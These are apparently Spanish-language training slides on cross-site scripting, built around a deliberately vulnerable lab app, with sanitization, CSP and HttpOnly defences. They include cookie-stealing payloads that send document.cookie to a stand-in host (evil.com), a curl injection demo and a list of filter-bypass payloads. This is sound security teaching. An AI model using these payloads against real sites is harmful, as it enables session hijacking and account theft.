

Módulo 2: Vulnerabilidades de Inyección

T05: Cross-Site Scripting (XSS)

Carlos Rodríguez Contreras · GitHub: karrocon

 *Injectar JavaScript en el navegador del usuario — y robar su sesión*

Objetivos

- Distinguir XSS reflejado, almacenado y basado en DOM
- Explotar el campo de comentarios de VulnApp (XSS almacenado)
- Demostrar el robo de cookies de sesión mediante XSS
- Implementar CSP y sanitización de output como defensa

¿Qué es Cross-Site Scripting (XSS)?

Inyectar código JavaScript que se ejecuta en el **navegador de otro usuario**.

```
<!-- El atacante publica este comentario -->  
<script>fetch('https://evil.com/steal?c='+document.cookie)</script>
```

Impacto:

- 🍪 Robo de cookies/tokens de sesión
- 🎭 Suplantación de identidad (session hijacking)
- 📝 Modificación del DOM (phishing en la propia página)
- 🔗 Redirección a sitios maliciosos

Tres tipos de XSS

Tipo	Dónde se almacena	Ejemplo
Stored (almacenado)	En la BD del servidor	Comentario con <code><script></code>
Reflected	En la URL → respuesta inmediata	<code>?search=<script>alert(1)</script></code>
DOM-based	Solo en el cliente (JS)	<code>innerHTML = location.hash</code>

💀 **Stored XSS** es el más peligroso: se ejecuta para **todos** los usuarios que ven el contenido.

El código vulnerable en VulnApp

```
// src/routes/comments.ts - línea 37  
// El contenido se guarda TAL CUAL, sin sanitizar  
db.prepare('INSERT INTO comments (user_id, content) VALUES (?, ?)')  
  .run(user_id, content);
```

```
// GET /comments - devuelve el contenido sin escapar  
// Si el cliente usa innerHTML → se ejecuta el script  
res.json(comments);
```

El problema: **no se sanitiza ni al guardar ni al renderizar.**

Demo: XSS almacenado en comentarios

```
# Publicar un comentario malicioso
curl -X POST http://localhost:3000/comments \
  -H "Content-Type: application/json" \
  -d '{"user_id":2,"content":"<script>alert(document.cookie)</script>"}'
```

Ahora cualquier usuario que visite `/comments` ejecutará ese JavaScript.

Payload más realista — robo de cookie:

```
<img src=x onerror="fetch('https://evil.com/?c='+document.cookie)">
```

El fix: sanitización

```
import sanitizeHtml from 'sanitize-html';

// Opción A: sanitizar al GUARDAR (recomendado)
const clean = sanitizeHtml(content, { allowedTags: [] });
db.prepare('INSERT INTO comments (user_id, content) VALUES (?, ?)')
  .run(user_id, clean);

// Opción B: escapar al RENDERIZAR (en el cliente)
element.textContent = comment.content; // seguro
// NUNCA: element.innerHTML = comment.content; // vulnerable
```

Content Security Policy (CSP) — defensa en profundidad

```
Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'
```

Directiva	Efecto
<code>script-src 'self'</code>	Solo scripts del mismo origen
<code>default-src 'self'</code>	Bloquea recursos de otros dominios
<code>img-src 'self' data:</code>	Imágenes solo locales o data URIs

✅ Aunque haya XSS, CSP puede impedir que el script cargue recursos externos.

Resumen de defensas contra XSS

Capa	Medida
1. Sanitización	<code>sanitize-html</code> , DOMPurify al guardar/renderizar
2. Escapado	Usar <code>textContent</code> en vez de <code>innerHTML</code>
3. CSP	Header <code>Content-Security-Policy</code> restrictivo
4. Cookies	Flag <code>HttpOnly</code> → inaccesibles desde JS
5. Validación	Rechazar HTML donde no se espera

DOM-based XSS – el peligro en el cliente

```
// Vulnerable: el hash de la URL se inyecta directamente en el DOM
document.getElementById('greeting').innerHTML =
  'Hola, ' + decodeURIComponent(location.hash.slice(1));

// Ataque: http://victima.com/page#<img src=x onerror=alert(1)>
```

Diferencia clave: el payload **nunca llega al servidor** — vive solo en el navegador.

Fuentes (sources)	Sumideros (sinks) peligrosos
<code>location.hash</code>	<code>innerHTML</code>
<code>location.search</code>	<code>document.write()</code>
<code>document.referrer</code>	<code>eval()</code>
<code>window.name</code>	<code>setTimeout(string)</code>

⚠ Los WAF no detectan DOM-based XSS porque el payload no transita por el servidor.

Payloads XSS – bypass de filtros comunes

```
<!-- Sin etiqueta <script> -->
<img src=x onerror="alert(1)">
<svg onload="alert(1)">
<body onload="alert(1)">

<!-- Encoding para bypass -->
<img src=x onerror="&#97;lert(1)">
<a href="javascript:alert(1)">click</a>

<!-- Sin paréntesis (CSP bypass) -->
<img src=x onerror="window.onerror=alert;throw 1">

<!-- Polyglot (funciona en múltiples contextos) -->
jaVaScRipt:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//
```

💀 No basta con filtrar `<script>`. Hay **cientos** de vectores XSS documentados.

Casos reales de XSS

Año	Plataforma	Vector	Impacto
2005	MySpace (Samy worm)	Stored XSS en perfil	1M amigos añadidos en 20h
2013	eBay	Reflected XSS en búsqueda	Redirección a phishing
2018	British Airways	XSS + skimmer JS	380K tarjetas robadas, multa £20M
2020	Gmail AMP4Email	DOM XSS	Lectura de emails de la víctima

💡 El **Samy worm** fue el primer gusano XSS de la historia — se propagaba solo con visitar un perfil.

Lab T05: XSS Almacenado en comentarios

Objetivo: inyectar un script que robe la cookie de otro usuario

Setup: `cd VulnApp && npm start` → `http://localhost:3000/comments`

1. Publica un comentario con `<script>alert(document.cookie)</script>`
2. Observa que el script se ejecuta al ver los comentarios
3. Abre `src/routes/comments.ts` y añade sanitización de HTML
4. Verifica que el payload aparece como texto, no se ejecuta